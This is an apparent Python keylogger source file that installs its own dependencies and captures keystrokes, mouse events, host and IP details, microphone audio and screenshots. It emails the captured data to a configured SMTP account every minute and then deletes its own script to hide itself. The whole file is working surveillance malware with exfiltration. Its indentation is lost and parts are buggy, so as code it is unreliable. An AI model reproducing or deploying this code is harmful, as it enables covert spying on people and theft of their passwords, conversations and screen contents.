try:

import logging

import os

import platform

import smtplib

import socket

import threading

import wave

import pyscreenshot

import sounddevice as sd

from pynput import keyboard

from pynput.keyboard import Listener

from email import encoders

from email.mime.base import MIMEBase

from email.mime.multipart import MIMEMultipart

from email.mime.text import MIMEText

import glob

except ModuleNotFoundError:

from subprocess import call

modules = ["pyscreenshot","sounddevice","pynput"]

call("pip install " + ' '.join(modules), shell=True)

finally:

EMAIL\_ADDRESS = "YOUR\_USERNAME"

EMAIL\_PASSWORD = "YOUR\_PASSWORD"

SEND\_REPORT\_EVERY = 60 # as in seconds

class KeyLogger:

def \_\_init\_\_(self, time\_interval, email, password):

self.interval = time\_interval

self.log = "KeyLogger Started..."

self.email = email

self.password = password

def appendlog(self, string):

self.log = self.log + string

def on\_move(self, x, y):

current\_move = logging.info("Mouse moved to {} {}".format(x, y))

self.appendlog(current\_move)

def on\_click(self, x, y):

current\_click = logging.info("Mouse moved to {} {}".format(x, y))

self.appendlog(current\_click)

def on\_scroll(self, x, y):

current\_scroll = logging.info("Mouse moved to {} {}".format(x, y))

self.appendlog(current\_scroll)

def save\_data(self, key):

try:

current\_key = str(key.char)

except AttributeError:

if key == key.space:

current\_key = "SPACE"

elif key == key.esc:

current\_key = "ESC"

else:

current\_key = " " + str(key) + " "

self.appendlog(current\_key)

def send\_mail(self, email, password, message):

sender = "Private Person <from@example.com>"

receiver = "A Test User <to@example.com>"

m = f"""\

Subject: main Mailtrap

To: {receiver}

From: {sender}

Keylogger by aydinnyunus\n"""

m += message

with smtplib.SMTP("smtp.mailtrap.io", 2525) as server:

server.login(email, password)

server.sendmail(sender, receiver, message)

def report(self):

self.send\_mail(self.email, self.password, "\n\n" + self.log)

self.log = ""

timer = threading.Timer(self.interval, self.report)

timer.start()

def system\_information(self):

hostname = socket.gethostname()

ip = socket.gethostbyname(hostname)

plat = platform.processor()

system = platform.system()

machine = platform.machine()

self.appendlog(hostname)

self.appendlog(ip)

self.appendlog(plat)

self.appendlog(system)

self.appendlog(machine)

def microphone(self):

fs = 44100

seconds = SEND\_REPORT\_EVERY

obj = wave.open('sound.wav', 'w')

obj.setnchannels(1) # mono

obj.setsampwidth(2)

obj.setframerate(fs)

myrecording = sd.rec(int(seconds \* fs), samplerate=fs, channels=2)

obj.writeframesraw(myrecording)

sd.wait()

self.send\_mail(email=EMAIL\_ADDRESS, password=EMAIL\_PASSWORD, message=obj)

def screenshot(self):

img = pyscreenshot.grab()

self.send\_mail(email=EMAIL\_ADDRESS, password=EMAIL\_PASSWORD, message=img)

def run(self):

keyboard\_listener = keyboard.Listener(on\_press=self.save\_data)

with keyboard\_listener:

self.report()

keyboard\_listener.join()

with Listener(on\_click=self.on\_click, on\_move=self.on\_move, on\_scroll=self.on\_scroll) as mouse\_listener:

mouse\_listener.join()

if os.name == "nt":

try:

pwd = os.path.abspath(os.getcwd())

os.system("cd " + pwd)

os.system("TASKKILL /F /IM " + os.path.basename(\_\_file\_\_))

print('File was closed.')

os.system("DEL " + os.path.basename(\_\_file\_\_))

except OSError:

print('File is close.')

else:

try:

pwd = os.path.abspath(os.getcwd())

os.system("cd " + pwd)

os.system('pkill leafpad')

os.system("chattr -i " + os.path.basename(\_\_file\_\_))

print('File was closed.')

os.system("rm -rf" + os.path.basename(\_\_file\_\_))

except OSError:

print('File is close.')

keylogger = KeyLogger(SEND\_REPORT\_EVERY, EMAIL\_ADDRESS, EMAIL\_PASSWORD)

keylogger.run()